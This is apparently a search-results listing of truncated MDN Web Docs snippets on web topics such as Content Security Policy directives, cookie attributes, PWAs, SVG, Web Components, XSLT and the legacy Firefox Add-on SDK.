CSP: script-src-elem - HTTP
CSP version 3 Directive type Fetch directive default-src fallback Yes. If this directive is absent, the user agent will look for the script-src directive, and if both of them are absent, fallback to default-src directive. ...
...filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
CSP: script-src - HTTP
This includes not only URLs loaded directly into <script> elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution. CSP version 1 Directive type Fetch directive default-src fallback Yes. If this directive is absent, the user agent will look for the default-src directive. ...
...filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
CSP: worker-src - HTTP
ilesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows to enable specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' A whitelist ...
...tespace. See unsafe inline script for an example. In CSP 2.0 this applied only to inline scripts. CSP 3.0 allows it in the case of script-src for external scripts. Examples Violation cases Given this CSP header: Content-Security-Policy: worker-src https://example.com/ Worker, SharedWorker, ServiceWorker are blocked and won't load: <script> var blockedWorker = new Worker("data:application/
javascript,..."); blockedWorker = new SharedWorker("https://not-example.com/"); navigator.serviceWorker.register('https://not-example.com/sw.js'); </script> Specifications Specification Status Comment Content Security Policy Level 3The definition of 'worker-src' in that specification. Working Draft Initial definition. ...
Set-Cookie - HTTP
For more information, see the guide on HTTP cookies. ...
...e Optional A secure cookie is only sent to the server when a request is made with the https: scheme. (However, confidential information should never be stored in HTTP Cookies, as the entire mechanism is inherently insecure and doesn't encrypt any information.) Note: Insecure sites (http:) can't set cookies with the Secure attribute (since Chrome 52 and Firefox 52). HttpOnly Optional Forbids
JavaScript from accessing the cookie, for example, through the Document.cookie property. Note that a cookie that has been created with HttpOnly will still be sent with
JavaScript-initiated requests, e.g. when calling XMLHttpRequest.send() or fetch(). This mitigates attacks against cross-site scripting (XSS). SameSite=<samesite-value> Optional Strict: The browser sends the cookie only for same-site re...
Proxy servers and tunneling - HTTP
way communications with the requested resource and can be used to open a tunnel. This is how a client behind an HTTP proxy can access websites using SSL (i.e. HTTPS, port 443). Note, however, that not all proxy servers support the CONNECT method or limit it to port 443 only. See also the HTTP tunnel article on Wikipedia. ...
...S, port 443). Note, however, that not all proxy servers support the CONNECT method or limit it to port 443 only. See also the HTTP tunnel article on Wikipedia. Proxy Auto-Configuration (PAC) A Proxy Auto-Configuration (PAC) file is a
JavaScript function that determines whether web browser requests (HTTP, HTTPS, and FTP) go directly to the destination or are forwarded to a web proxy server. The
JavaScript function contained in the PAC file defines the function: The auto-config file should be saved to a file with a .pac filename extension: proxy.pac And the MIME type set to: application/x-ns-proxy-autoconfig The file consists of a function called FindProxyForURL. The example below will work in an environment where the internal DNS server is set up so that it can only resolve internal host name...
Critical rendering path - Web Performance
The HTML includes or makes requests for styles, which in turn builds the CSS object model. The browser engine combines the two to create the Render Tree. Layout determines the size and location of everything on the page. ...
...The HTML includes or makes requests for styles, which in turn builds the CSS object model. The browser engine combines the two to create the Render Tree. Layout determines the size and location of everything on the page. ...
Navigation and resource timings - Web Performance
l the assets or resources called in by that main document and the resources' requested resources. The general performance timings below have been deprecated in favor of the Performance Entry API, which provides for marking and measuring times along the navigation and resource loading process. While deprecated, they are supported in all browsers. Performance Timings The performanceTiming API, a
JavaScript API for measuring the loading performance of the requested page, is deprecated but supported in all browsers. It has been replaced with the performanceNavigationTiming API. The performance timing API provided read only times, in milliseconds(ms), describing at what time each point in the page loading process was reached. As displayed in the image below, the navigation process goes from navigatio...
...savings. Note that this is the size for this single document alone: for this resource alone, not for all the resources combined. However, the duration, load events and DOM related timings have to do with the entire navigation, not this single asset. Client-side web applications may seem faster than this one with transfer sizes under 10000 and decoded body sizes under 30000, but that doesn't mean
JavaScript, CSS, or media assets aren't adding bloat. Checking compression ratios is important but ensure to also check duration and the time between when the DOMContentLoaded event ended and when the DOM is complete, as running
JavaScript on the main thread for long periods of time can lead to a non-responsive user interface. Request time The API doesn't provide every measurement you may desire. For exam...
Optimizing startup performance - Web Performance
which is currently running, depending on the operating environment. The source application might have a main loop that can easily be made to operate asynchronously (by running each main loop iteration separately); startup is often just a continuous, monolithic procedure that might periodically update a progress meter. While you can use Web workers to run even very large, long-duration chunks of
JavaScript code asynchronously, there's a huge caveat that: workers don't have access to WebGL or audio, and they can't send synchronous messages to the main thread, so you can't even proxy those APIs to the main thread. This all means that unless you can easily pull out the "pure calculation" chunks of your startup process into workers, you'll wind up having to run most or all of your startup code on the m...
...educe your app size to boot. In addition, the browser may automatically parallelize these decoders. Any data processing that can be done in parallel should be. Don't do one chunk of data after another; do them all at once when possible! Don't include scripts or stylesheets that don't participate in the critical path in your startup HTML file. Load them only when needed. Reduce the side of your
JavaScript files. Try to send the minify version of the file to the browser and use compression like Gzip or Brotli. Utilize resource hints (like preconnect or preload) whenever possible to indicate to the browser which files are more critical for your application. The more stuff you can do asynchronously, the better advantage your app can take of multicore processors. Porting issues Once the initial l...
Add to Home screen - Progressive web apps (PWAs)
First of all, we declare a deferredPrompt variable (which we'll explain later on), get a reference to our install button, and set it to display: none initially: let deferredPrompt; const addBtn = document.querySelector('.add-button'); addBtn.style.display = 'none'; We hide the butt...
...ow users to do the installation -- this isn't made available automatically on desktop apps, and the installation needs to be triggered by a user gesture: <button class="add-button">Add to home screen</button> We then gave it some simple styling: .add-button { position: absolute; top: 1px; left: 1px; }
JavaScript for handling the install At the bottom of our index.js file, we added some
JavaScript to handle the installation. First of all, we declare a deferredPrompt variable (which we'll explain later on), get a reference to our install button, and set it to display: none initially: let deferredPrompt; const addBtn = document.querySelector('.add-button'); addBtn.style.display = 'none'; We hide the button initially because the PWA will not be available for install until it follows the A2H...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
also). We examine how to add offline functionality. Service workers explained Service Workers are a virtual proxy between the browser and the network. They finally fix issues that front-end developers have struggled with for years -- most notably how to properly cache the assets of a website and make them available when the user's device is offline. They run on a separate thread from the main
JavaScript code of our page, and don't have any access to the DOM structure. This introduces a different approach from traditional web programming -- the API is non-blocking, and can send and receive communication between different contexts. You are able to give a Service Worker something to work on, and receive the result whenever it is ready using a Promise-based approach. They can do a lot more than "ju...
...h fires every time an HTTP request is fired off from our app. This is very useful, as it allows us to intercept requests and respond to them with custom responses. Here is a simple usage example: self.addEventListener('fetch', (e) => { console.log('[Service Worker] Fetched resource '+e.request.url); }); The response can be anything we want: the requested file, its cached copy, or a piece of
JavaScript code that will do something specific -- the possibilities are endless. In our example app, we serve content from the cache instead of the network as long as the resource is actually in the cache. We do this whether the app is online or offline. If the file is not in the cache, the app adds it there first before then serving it: self.addEventListener('fetch', (e) => { e.respondWith( caches...
Graphic design for responsive sites - Progressive web apps (PWAs)
ere are a number of options available. CSS As well as adding programmatic graphical effects to links (and anywhere else you might want them), CSS3 also allows you to write declarative animations and transitions. These may not be supported in older browsers like IE6-8, but they generally degrade gracefully, are fairly easy to write, and become much more flexible and powerful when combined with
JavaScript and other technologies.
JavaScript JavaScript has functions that enable developers to create animations, and any other type of interactivity you want. It is very powerful when combined with other technologies, although its complexity is a barrier for non-developers. SVG SVG, just like HTML/CSS, can be manipulated via
JavaScript. So adding interactivity is not difficult. You can also add links...
...ding interactivity is not difficult. You can also add links direcly into SVG and can create animations using SMIL (Synchronized Multimedia Intergration Language). WebGL/Canvas You can create a canvas to draw interactive graphics on using the HTML <canvas> element, then use the Canvas API to create shapes, lines, import image files, create text, do compositing operations, and much more. Standard
JavaScript can then be used to animate the image output, etc. You can create 2D imagery using the regular 2D canvas context, or 3D imagery using the more nascent WebGL API. Canvas is very powerful, but it needs to be used with caution. It is good for the visuals of games and complex data visualisions, but for standard user interface elements it is not very efficient. In addition, Canvases are just raster i...
SVG documentation index - SVG: Scalable Vector Graphics
SVG viewers prior to the release of Firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-XML dialect supporting user agents such as Gecko-based browsers which must be very strict. Take some time to understand namespaces now and it will save you all sorts of headaches in the future. 7 Example SVG, XML In this example, we use XHTML, SVG,
JavaScript, and the DOM to animate a swarm of "motes". These motes are governed by two simple principles. First, each mote tries to move towards the mouse cursor, and second each mote tries to move away from the average mote position. Combined, we get this very natural-looking behavior. 8 Other Resources Reference, SVG Here is a list of additional resources on SVG: 9 Project ...
... as the use of shadow, blur effects or even merging the results of different filters. With the filter element <filter> it is possible to add these effects and later on attach them to an object. 284 SVG In HTML Introduction Intermediate, NeedsUpdate, SVG This article and its associated example shows how to use inline SVG to provide a background picture for a form. It shows how
JavaScript and CSS can be used to manipulate the picture in the same way you would script regular HTML. 285 SVG and CSS CSS, CSS:Getting_Started, Example, Guide, Intermediate, NeedsUpdate, SVG, Web Below you'll create a simple demonstration that runs in your SVG-enabled browser. 286 SVG fonts Advanced, NeedsUpdate, SVG, SVG:Tutorial When SVG was specified, support f...
Introduction - SVG: Scalable Vector Graphics
simple and complex curves. A simple SVG document consists of nothing more than the <svg> root element and several basic shapes that build a graphic together. In addition there is the <g> element, which is used to group several basic shapes together. Starting from there, the SVG image can become arbitrarily complex. SVG supports gradients, rotations, filter effects, animations, interactivity with
JavaScript, and so on. But all these extra features of the language rely on this relatively small set of elements to define the graphics area. Before you start There are a number of drawing applications available such as Inkscape which are free and use SVG as their native file format. However, this tutorial will rely on the trusty XML or text editor (your choice). The idea is to teach the internals of SVG...
...derstand it, and that is best done by dirtying your hands with a bit of markup. You should note your final goal though. Not all SVG viewers are equal and so there is a good chance that something written for one app will not display exactly the same in another, simply because they support different levels of the SVG specification or another specification that you are using along with SVG (that is,
JavaScript or CSS). SVG is supported in all modern browsers and even a couple versions back in some cases. A fairly complete browser support table can be found on Can I use. Firefox has supported some SVG content since version 1.5, and that support level has been growing with each release since. Hopefully, along with the tutorial here, MDN can help developers keep up with the differences between Gecko and ...
SVG In HTML Introduction - SVG: Scalable Vector Graphics
Overview This article and its associated example shows how to use inline SVG to provide a background picture for a form. It shows how
JavaScript and CSS can be used to manipulate the picture in the same way you would script regular HTML. Source Here is the source to the example: <html> <head> <title>XTech SVG Demo</title> <style> stop.begin { stop-color:yellow; } stop.end { stop-color:green; } body.invalid stop.end { stop-color:red; } #err { display:none; } body.invalid #err { display:inline; } </style> <script> function signalError() { document.getElementById('body').setAttribute("class", "invalid"); } </script> </head> <body id="body" style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"> <form> <fieldset> <legen...
...00%; position:absolute; top:0; left:0; z-index:-1;"> <linearGradient id="gradient"> <stop class="begin" offset="0%"/> <stop class="end" offset="100%"/> </linearGradient> <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /> <circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /> </svg> </body> </html> Discussion The page is mainly regular HTML, CSS and
JavaScript. The only interesting part is the <svg> element it contains. This element and its children are declared to be in the SVG namespace. The element contains a gradient and two shapes filled with the gradient. The gradient color stops have their colors set by CSS. When the user enters something incorrect into the form, the script sets the invalid attribute on the <body>, and a style rule changes the g...
Mixed content - Web security
the behavior of the HTTPS page and potentially steal sensitive data from the user. Hence, in addition to the risks described for mixed display content above, mixed active content is vulnerable to a few other attack vectors. In the mixed active content case, a man-in-the-middle attacker can intercept the request for the HTTP content. The attacker can also rewrite the response to include malicious
JavaScript code. Malicious active content can steal the user's credentials, acquire sensitive data about the user, or attempt to install malware on the user's system (by leveraging vulnerabilities in the browser or its plugins, for example). The risk involved with mixed content does depend on the type of website the user is visiting and how sensitive the data exposed to that site may be. The webpage may ha...
...mixed display content can be blocked by setting a preference). To make it easier for web developers to find mixed content errors, all blocked mixed content requests are logged to the Security pane of the Web Console, as seen below: To fix this type of error, all requests to HTTP content should be removed and replaced with content served over HTTPS. Some common examples of mixed content include
JavaScript files, stylesheets, images, videos, and other media. Note: Since Firefox 55, the loading of mixed content is allowed on http://127.0.0.1/ (see bug 903966). Chrome allows mixed content on http://127.0.0.1/ and http://localhost/. Safari does not allow any mixed content. ...
Using shadow DOM - Web Components
r own custom elements. Basic usage You can attach a shadow root to any element using the Element.attachShadow() method. This takes as its parameter an options object that contains one option -- mode -- with a value of open or closed: let shadow = elementRef.attachShadow({mode: 'open'}); let shadow = elementRef.attachShadow({mode: 'closed'}); open means that you can access the shadow DOM using
JavaScript written in the main page context, for example using the Element.shadowRoot property: let myShadowDom = myCustomElem.shadowRoot; If you attach a shadow root to a custom element with mode: closed set, you won't be able to access the shadow DOM from the outside -- myCustomElem.shadowRoot returns null. This is the case with built in elements that contain shadow DOMs, such as <video>. Note: As thi...
...Working through a simple example Now let's walk through a simple example to demonstrate the shadow DOM in action inside a custom element -- <popup-info> (see a live example also). This takes an image icon and a text string, and embeds the icon into the page. When the icon is focused, it displays the text in a pop up information box to provide further in-context information. To begin with, in our
JavaScript file we define a class called PopUpInfo, which extends HTMLElement: class PopUpInfo extends HTMLElement { constructor() { // Always call super first in constructor super(); // write element functionality in here ... } } Inside the class definition we define the element's constructor, which defines all the functionality the element will have when an instance of it is instan...
Web Components
to render custom UI controls, and how using them multiple times can turn your page into a mess if you are not careful. Web Components aims to solve such problems -- it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused wherever you like without fear of code collisions. Custom elements: A set of
JavaScript APIs that allow you to define custom elements and their behaviour, which can then be used as desired in your user interface. Shadow DOM: A set of
JavaScript APIs for attaching an encapsulated "shadow" DOM tree to an element -- which is rendered separately from the main document DOM -- and controlling associated functionality. In this way, you can keep an element's features private, so they can b...
...dard DOM (true), or not (false). Event.composedPath: Returns the event's path (objects on which listeners will be invoked). This does not include nodes in shadow trees if the shadow root was created with ShadowRoot.mode closed. HTML templates <template> Contains an HTML fragment that is not rendered when a containing document is initially loaded, but can be displayed at runtime using
JavaScript, mainly used as the basis of custom element structures. The associated DOM interface is HTMLTemplateElement. <slot> A placeholder inside a web component that you can fill with your own markup, which lets you create separate DOM trees and present them together. The associated DOM interface is HTMLSlotElement. The slot global HTML attribute Assigns a slot in a shadow DOM shadow tree to an eleme...
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
However when using an <?xml-stylesheet?> processing instruction (PI) there used to be no way to provide parameters. To solve this two new PIs are implemented in Firefox 2 (see Supported versions below for details), <?xslt-param?> and <?xslt-param-namespace?>. Both PIs can contain "pseudo attributes" the same way that the xml-stylesheet PI does. The following document passes the two parameters "color" and "size" to the stylesheet "style.xsl". ...
...in "pseudo attributes" the same way that the xml-stylesheet PI does. The following document passes the two parameters "color" and "size" to the stylesheet "style.xsl". <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> Note that these PIs have no effect when transformation is done using the XSLTProcessor object in
JavaScript. Processing instructions The attributes in the xslt-param and xslt-param-namespace PIs are parsed using the rules defined in xml-stylesheet. Any unrecognized attributes must be ignored. Parsing of any attribute must not fail due to the presence of an unrecognized attribute as long as that attribute follows the syntax in xml-stylesheet. Both the xslt-param and the xslt-param-namespace PIs must ...
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
Advanced example This advanced example sorts several divs based on their content. The example allows sorting the content multiple times, alternating between ascending and descending order. The
JavaScript loads the .xsl file only on the first sort and sets the xslloaded variable to true once it has finished loading the file. Using the XSLTProcessor.getParameter() method, the code can figure whether to sort in ascending or descending order. It defaults to ascending if the parameter is empty (the first time the sorting happens, as there is no value for it in the XSLT file). The sorting value is set using XSLTProcessor.setParameter(). The XSLT file has a parameter called myOrder that
JavaScript sets to change the sorting method. The xsl:sort element's order attribute can access the value of th...
...uates the content as an XPath expression. Once the transformation is complete, the result is appended to the document, as shown in this example. ...
Setting Parameters - XSLT: Extensible Stylesheet Language Transformations
Setting Parameters While running transformations using precoded .xsl and .xml files is quite useful, configuring the .xsl file from
JavaScript may be even more useful. For example,
JavaScript and XSLT could be used to sort XML data and then display it. The sorting would have to alternate between ascending and descending sorting. XSLT provides the xsl:param element, which is a child of the xsl:stylesheet element. XSLTProcessor provides three
JavaScript methods to interact with these parameters: XSLTProcessor.setParameter(), XSLTProcessor.getParameter() and XSLTProcessor.removeParameter(). They all take as the first argument the namespace URI of the xsl:param (Usually the param will fall in the default namespace, so passing in null will suffice.) The local name of the xsl:param is the second...
...removeParameter(). They all take as the first argument the namespace URI of the xsl:param (Usually the param will fall in the default namespace, so passing in null will suffice.) The local name of the xsl:param is the second argument. ...
Caching compiled WebAssembly modules - WebAssembly
. This article explains the best practices around this. Caching via IndexedDB IndexedDB is a transactional database system that allows you to store and retrieve structured data on the client-side. It is ideal for persisting assets locally for the saved state of an application, including text, blobs, and any other type of cloneable object. This includes compiled wasm modules (WebAssembly.Module
JavaScript objects). Setting up a caching library Because IndexedDB is a somewhat old-fashioned API, we wanted to provide a library function to speed up writing caching code, and make it work better along with today's more modern APIs. In our wasm-utils.js library script, you'll find instantiateCachedURL() -- this function fetches the wasm module at url with a version of dbVersion, instantiates it with t...
... If opening the database failed (for example due to permissions or quota), we fall back to simply fetching and compiling the module and don't try to store the results (since there is no database to store them into). errMsg => { console.log(errMsg); return WebAssembly.instantiateStreaming(fetch(url)).then(results => { return result...
Communicating With Other Scripts - Archive of obsolete content
ata.url("page.html") var pageMod = mod.PageMod({ include: pageUrl, contentScriptFile: self.data.url("content-script.js"), contentScriptWhen: "ready" }) tabs.open(pageUrl); The target web page "page.html" includes a button and a page script: <html> <head> <meta charset="utf-8"> </head> <body> <input id="message" type="button" value="Send a message"/> <script type="text/
javascript" src="page-script.js"></script> </body> </html> The content script "content-script.js" adds an event listener to the button, that sends a custom event containing a message: var messenger = document.getElementById("message"); messenger.addEventListener("click", sendCustomEvent, false); function sendCustomEvent() { var greeting = {"greeting" : "hello world"}; var event = document.createEve...
Cross-domain Content Scripts - Archive of obsolete content
Suppose your content script includes a line like: // content-script.js: unsafeWindow.myCustomAPI = function () {}; If you have included the "cross-domain-content" key, when the page script tries to access myCustomAPI this will result in a "permission denied" exception. ...
Loading Content Scripts - Archive of obsolete content
n load multiple scripts, which can also interact directly with each other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ... contentScriptFile: [data.url("jquery-1.4.2.min.js"), data.url("my-content-script.js")] Scripts specified using contentScriptFile are loaded before those specified using contentScript. This enables you to load a
JavaScript library like jQuery by URL, then pass in a simple script inline that can use jQuery. Unless your content script is extremely simple and consists only of a static string, don't use contentScript: if you do, you may have problems getting your add-on approved on AMO. Instead, keep the script in a separate file and load it using contentScriptFile. This makes your code easier to maintain, secure, d...
SDK and XUL Comparison - Archive of obsolete content
Compatibility Although we can't promise we'll never break a High-Level API, maintaining compatibility across Firefox versions is a top priority for us. We've designed the APIs to be forward-compatible with the new multiple process architecture (codenamed Electrolysis) planned for Firefox. ...
l10n - Archive of obsolete content
Usage To learn how to use this module to write localizable code, read the Localization tutorial. Note that you can't currently use localize strings appearing in content scripts or HTML files, but you can share the localized strings you want by assigning it's values to a JSON serializable object. Globals Functions get(identifier, count, placeholder1...n) This function takes a string parameter which it uses as an identifier to look up and return a localized string in the locale currently set for Firefox. Localized strings are supplied by the add-on developer in .properties files stored in the add-ons "locale" directory. ...
panel - Archive of obsolete content
Creates transient dialogs to implement part of an add-on's user interface. Usage This module exports a single constructor function Panel() which constructs a new panel. A panel is a dialog. Its content is specified as HTML and you can execute scripts in it, so the appearance and behavior of the panel is limited only by what you can do using HTML, CSS, and
JavaScript. The screenshot below shows a panel whose content is built from the list of currently open tabs: Panels are useful for presenting temporary interfaces to users in a way that is easier for users to ignore and dismiss than a modal dialog, since panels are hidden the moment users interact with parts of the application interface outside them. A panel's content is loaded as soon as it is created, before the panel is shown, and the ...
request - Archive of obsolete content
ponse object. Response The Response object contains the response to a network request issued using a Request object. It is returned by the get(), head(), post(), put() or delete() method of a Request object. All members of a Response object are read-only. Properties url The URL of the response content. text The content of the response as plain text. json The content of the response as a
JavaScript object. The value will be null if the document cannot be processed by JSON.parse. status The HTTP response status code (e.g. 200). statusText The HTTP response status line (e.g. OK). headers The HTTP response headers represented as key/value pairs. To print all the headers you can do something like this: for (var headerName in response.headers) { console.log(headerName + " : " + respons...
simple-prefs - Archive of obsolete content
These are attributes that all preferences must have. Attribute Description type The type of preference, as defined in the "Preference Types" section below. name An identifier for the preference. This is used to access the preference from your add-on: console.log(require("sdk/simple-prefs").prefs.mySettingName); This means that it must be a valid
JavaScript identifier. title This is used as a label for the preference in the Add-ons Manager user interface. Optional Common Attributes These are attributes that all preferences may have: Attribute Description description This appears below the preference title in the Add-ons Manager UI. value A default value for the preference. Depend...
simple-storage - Archive of obsolete content
Lets an add-on store data so that it's retained across Firefox restarts. This module works similarly to DOM storage on the Web, except that it's only available for add-ons. Usage The simple storage module exports an object called storage that is persistent and scoped to your add-on. It's a normal
JavaScript object, and you can treat it as you would any other. To store a value, just assign it to a property on storage: var ss = require("sdk/simple-storage"); ss.storage.myArray = [1, 1, 2, 3, 5, 8, 13]; ss.storage.myBoolean = true; ss.storage.myNull = null; ss.storage.myNumber = 3.1337; ss.storage.myObject = { a: "foo", b: { c: true }, d: null }; ss.storage.myString = "O frabjous day!"; You can store array, boolean, number, object, null, and string values. If you'd like to store other types of ...
High-Level APIs - Archive of obsolete content
nts. base64 Data encoding and decoding using Base64 algorithms. clipboard Interact with the system clipboard, setting and getting its contents. context-menu Adds items, submenus, and menu separators to the page's context menu. hotkeys Assign hotkey combinations to functions in your add-on. indexed-db Exposes the IndexedDB API to add-ons. l10n Localize strings appearing in the add-on's
JavaScript code. notifications Display transient, toaster-style desktop messages to the user. page-mod Run scripts in the context of web pages whose URL matches a given pattern. page-worker Create a permanent, invisible page and access its DOM. panel Creates transient dialogs to implement part of an add-on's user interface. passwords Interact with Firefox's Password Manager to add, retrieve and re...
/loader - Archive of obsolete content
Create CommonJS module loaders. Usage The code is intentionally authored so that it can be loaded in several ways. It can be loaded as a regular script tag in documents that have system principals (note: this does not appear to work as of 02.2016 due to "use strict" being added to the file): <script type='application/
javascript' src='resource://gre/modules/commonjs/toolkit/loader.js'></script> This will expose a single loader object containing all of the API functions described in this document. It can be loaded as a
JavaScript code module: let { Loader, Require, unload } = Components.utils.import('resource://gre/modules/commonjs/toolkit/loader.js'); It can be required as a CommonJS module from a module loaded in the loader itself: let { Loader, Requ...
content/worker - Archive of obsolete content
to the web worker interface defined by the W3C. But unlike "web workers," these workers run in the same process as web content and browser chrome, so code within workers can block the UI. Globals Constructors Worker(options) Creates a content worker. Parameters options : object Required options: Name Type window object The content window to create
JavaScript sandbox for communication with. Optional options: Name Type contentScriptFile string,array The local file URLs of content scripts to load. Content scripts specified by this option are loaded before those specified by the contentScript option. Optional. contentScript string,array The texts of content scripts to load. Cont...
core/heritage - Archive of obsolete content
Reading or writing such code requires sharp eye and lot's of discipline, mainly due to code fragmentation and lots of machinery being exposed: // Defining a simple Class function Dog(name) { // Classes are for creating instances, calling them without `new` changes // behavior, which in majority cases you need to handle, so you end up // with additional boilerplate. if (!(this instanceof Dog)) return new Dog(name); this.name = name; }; // To define methods you need to make a dance with a special 'prototype' // property of the constructor function. This is too much machinery exposed. ...
console - Archive of obsolete content
you're developing your add-on using the Extension Auto-installer, then the add-on is installed in Firefox, meaning that messages will appear in the Browser Console. But see the discussion of logging levels: by default, messages logged using log(), info(), trace(), or warn() won't be logged in these situations. Console Methods All console methods except exception() and trace() accept one or more
JavaScript objects as arguments and log them to the console. Depending on the console's underlying implementation and user interface, you may be able to examine the properties of non-primitive objects that are logged. console.debug(...) Deprecated, you should use console.log() instead. console.error(object[, object, ...]) Logs the arguments to the console, preceded by "error:" and the name of your add-o...
Adding a Button to the Toolbar - Archive of obsolete content
ton to the panel's show() method. For more details on this, see the toggle button's documentation. Displaying richer content To create more complex user interface content than is possible with just a button, use the toolbar API. With the toolbar API you get a complete horizontal strip of user interface real estate. You can add buttons to the toolbar and also frames, that can host HTML, CSS, and
JavaScript. Learning more action button reference toggle button reference toolbar reference ...
Chrome Authority - Archive of obsolete content
ority unless the manifest indicates that they have asked for it. This will ensure that reviewers see the same authority restrictions that are enforced upon the running code, increasing the effectiveness of the time spent reviewing the add-on. (until this work is complete, modules may be able to sneak around these restrictions). The manifest is built with a simple regexp-based scanner, not a full
Javascript parser. Developers should stick to simple require statements, with a single static string, one per line of code. If the scanner fails to see a require entry, the manifest will not include that entry, and (once the implementation is complete) the runtime code will get an exception. For example, none of the following code will be matched by the manifest scanner, leading to exceptions at runtime, w...
Logging - Archive of obsolete content
Because DOM objects aren't available to the main add-on code, the SDK provides its own global console object with most of the same methods as the DOM console, including methods to log error, warning, or informational messages. You don't have to require() anything to get access to the console. It is automatically made available to you. ...
Modifying Web Pages Based on URL - Archive of obsolete content
function(worker) { worker.port.emit("replacePage", "Page matches ruleset"); } }); The replacePage message isn't a built-in message: it's a message defined by the add-on in the port.emit() call. Injecting CSS Note that the feature described in this section is experimental at the moment. We'll most likely continue to support the feature, but API details may change. Rather than injecting
JavaScript into a page, you can inject CSS by setting the page-mod's contentStyle option. var pageMod = require("sdk/page-mod").PageMod({ include: "*", contentStyle: "body {" + " border: 5px solid green;" + "}" }); As with contentScript, there's a corresponding contentStyleFile option that takes the URL of a CSS file in your "data" directory; It's a good practice to u...
Modifying the Page Hosted by a Tab - Archive of obsolete content
activeTab.attach({ contentScriptFile: self.data.url("my-script.js") }); worker.port.emit("drawBorder", "red"); } }); The drawBorder message isn't a built-in message, it's one that this add-on defines in the port.emit() call. Injecting CSS Unlike the page-mod API, tab.attach() doesn't enable you to inject CSS directly into a page. To modify the style of a page, you have to use
JavaScript, as in the example above. Learning More To learn more about working with tabs in the SDK, see the Open a Web Page tutorial, the List Open Tabs tutorial, and the tabs API reference. To learn more about content scripts, see the content scripts guide. ...
Add-on SDK - Archive of obsolete content
Tutorials Getting started How to install the SDK and use the jpm tool to develop, test, and package add-ons. Interact with the browser Open web pages, listen for pages loading and list open pages. Development techniques Learn about common development techniques, such as unit testing, logging, creating reusable modules, localization, and mobile development. ...
Bootstrapped extensions - Archive of obsolete content
stalled. ADDON_UPGRADE 7 The add-on is being upgraded. ADDON_DOWNGRADE 8 The add-on is being downgraded. Bootstrap data Each of the entry points is passed a simple data structure containing some useful information about the add-on being bootstrapped. More information about the add-on can be obtained by calling AddonManager.getAddonByID(). The data is a simple
JavaScript object with the following properties: Property Type Description id string The ID of the add-on being bootstrapped. version string The version of the add-on being bootstrapped. installPath nsIFile The installation location of the add-on being bootstrapped. This may be a directory or an XPI file depending on whether the add-on is installe...
File I/O - Archive of obsolete content
You access the file system using Mozilla XPCOM components. Note: File objects are nsIFile. For legacy reasons, there is also an nsILocalFile interface. ...
Modules - Archive of obsolete content
The use of eval() will probably not be of concern because it is only being used on the EXPORTED_SYMBOLS array which should not depend on user input. function importModule (thatObj) { thatObj = thatObj || window; var EXPORTED_SYMBOLS = [ // Put the symbols here ]; // Your code here... ...
On page load - Archive of obsolete content
If you need finer control over custom code execution--for example, as documents are loading or when tabs are switched--see Progress Listeners. Progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events. Progress listeners implement the nsIWebProgressListener interface. ...
Running applications - Archive of obsolete content
There are two ways to run programs. Using nsIProcess The recommended way is to use the nsIProcess interface because it is crossplatform. Using nsILocalFile.launch() This method is not implemented on all platforms, especially not on Unix/Linux! See nsILocalFile.launch() for details and make sure that all your target platforms support this method! This method has the same effect as if you double-clicked the file, so for executable files--it will just run the file without any parameters. For more information on nsIFile/nsILocalFile, see File I/O. ...
Windows - Archive of obsolete content
Re-using and focusing named windows While specifying the name parameter to window.open or window.openDialog will prevent multiple windows of that name from opening, each call will actually re-initialize the window and thus lose whatever state the user has put it in. Additionally, if the window is in the background, it may not be brought to the front. This code will check for a window of t...
XPath - Archive of obsolete content
tNode should be the same object, if context is a ajax xml object (example: returnedXML) this should be used as : returnedXML.evaluate(xpathExpression,returnedXML,namespaceResolver,returnType,result); //contextNode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr = new Ajax('post','demo.xml',parseXML,'xml'); //Ajax is a class written by
javascript which return responseXML object to parseXML function function parseXML(obj)//obj is the returnXML object now { if(!obj.documentElement) { alert("Your Browser does't support this script!"); return; } var fields = [];//store the results if(window.ActiveXObject) { var tobj = obj.documentElement.selectNodes("/root/field/item"); for(var i=0;i<tobj.length; i++) { fields.push(tobj...
Common Pitfalls - Archive of obsolete content
